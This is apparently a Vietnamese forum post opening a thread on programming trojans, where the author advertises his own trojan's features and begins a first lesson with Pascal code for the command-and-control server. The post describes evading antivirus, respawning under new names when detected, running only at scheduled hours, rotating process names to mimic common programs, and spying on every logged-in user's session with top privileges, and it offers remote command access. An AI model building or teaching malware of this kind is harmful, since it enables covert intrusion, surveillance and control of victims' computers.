Mạo muội lập topic này để anh em giao lưu chia sẻ kinh nghiệm về lập trình trojan 
Mình xin phép giới thiệu về tính năng của con trojan mình đang xây dựng 
Ưu điểm:
-> dễ dàng cập nhật version.
-> chạy thông minh (khi nào cần sử dụng virus tự chạy ... không cần thì thôi không chạy ... khó tìm
)
-> nếu virus bị phát hiện ... victim sẽ tự nhiên mọc lại con mới ở ngay chỗ mới với 1 tên gọi mới 
-> anti virus 100% tất cả không phát hiện ra.
-> không sử dụng lib hay dll gì riêng của win vì vốn tự có nên dung lượng hơi cao. (đã test chạy ok từ win xp đến 2012 r2).
-> có thể chỉnh chế độ safe timer run , giả sử làm việc lúc 12h đêm đến 3h sáng thì trong khoảng thời gian đã định virus sẽ chạy và request về server , nếu ko đúng giờ thì nằm yên 
-> Trong thời gian hoạt động, virus sẽ tự động tắt nghỉ 15 phút / lần để thay đổi process name liên tục để tránh bị truy quét. thường sẽ count process nào chạy *.exe nhiều nhất thì sẽ chạy theo tên đó, lập 1 danh sách cụ thể xếp theo thứ tự vào hoán đổi vị trí theo các chu kỳ. (rõ khổ cho các bác chạy anti vir = tay ^_^!)
-> Tính năng ưa thích nhất: Virus chạy multi sessions. Giả sử không có user nào logon thì virus khi hoạt động sẽ chạy quyền cao nhất của windows, giả sử có 3 user admin, administrator, guest đang làm việc trên 1 máy, virus sẽ tự chạy cả 3 sessions thêm cái session thứ 4 cao nhất của windows -> tổng là 4. Vì vậy có thể nhìn màn hình trên mỗi user đang làm việc phân chia ra cụ thể.
Khuyết điểm:
-> size khá lớn thường là 3,5 mb.
-> do code ẩu nên còn bug vài chỗ, khổ là phải đang ngồi fix và xem lại từng dòng 
-> tính năng chưa hoàn thiện mấy, nhưng về nhìn chung thì mình chỉ cần remote CMD thôi 
Ngôn ngữ lập trình:
-> Pascal
-> ASM
Vài hình ảnh interface cho các bạn tham khảo:





Bài 1: Kết nối:
Server:
Code:
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure Starthostserver1Click(Sender: TObject);
procedure Stophostserver1Click(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure TForm1.FormCreate(Sender: TObject);
var
ResStream: TResourceStream;
begin
DeleteFile('DiaChi_IP.database');
if not FileExists('DiaChi_IP.database') then begin
ResStream := TResourceStream.Create(hInstance, 'DiaChi_IP', RT_RCDATA);
try
ResStream.Position := 0;
ResStream.SaveToFile('DiaChi_IP.database');
finally
ResStream.Free;
end;
end;
StatusBar1.Panels[0].Text := StatusBar1.Panels[0].Text + GetBuildInfoAsString;
KetNoi_GS := 0;
KetNoi_KT := 0;
Spxp1.Click;
end;
procedure TForm1.FormShow(Sender: TObject);
var
i : Integer;
begin
for i := 0 to ParamCount do begin
if ParamStr(i) = '/@/Khoi_dong_tat_ca/@/' then begin
Starthostserver1.Click;
Khingmychktni1.Click;
end;
end;
end;
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
KetNoi_GS := KetNoi_GS + 1;
ListBox3.Items.Add(DateToStr(NOW)+'<>'+TimeToStr(NOW)+'::Kết nối Giám Sát +1, tổng = '+IntToStr(KetNoi_GS));
end;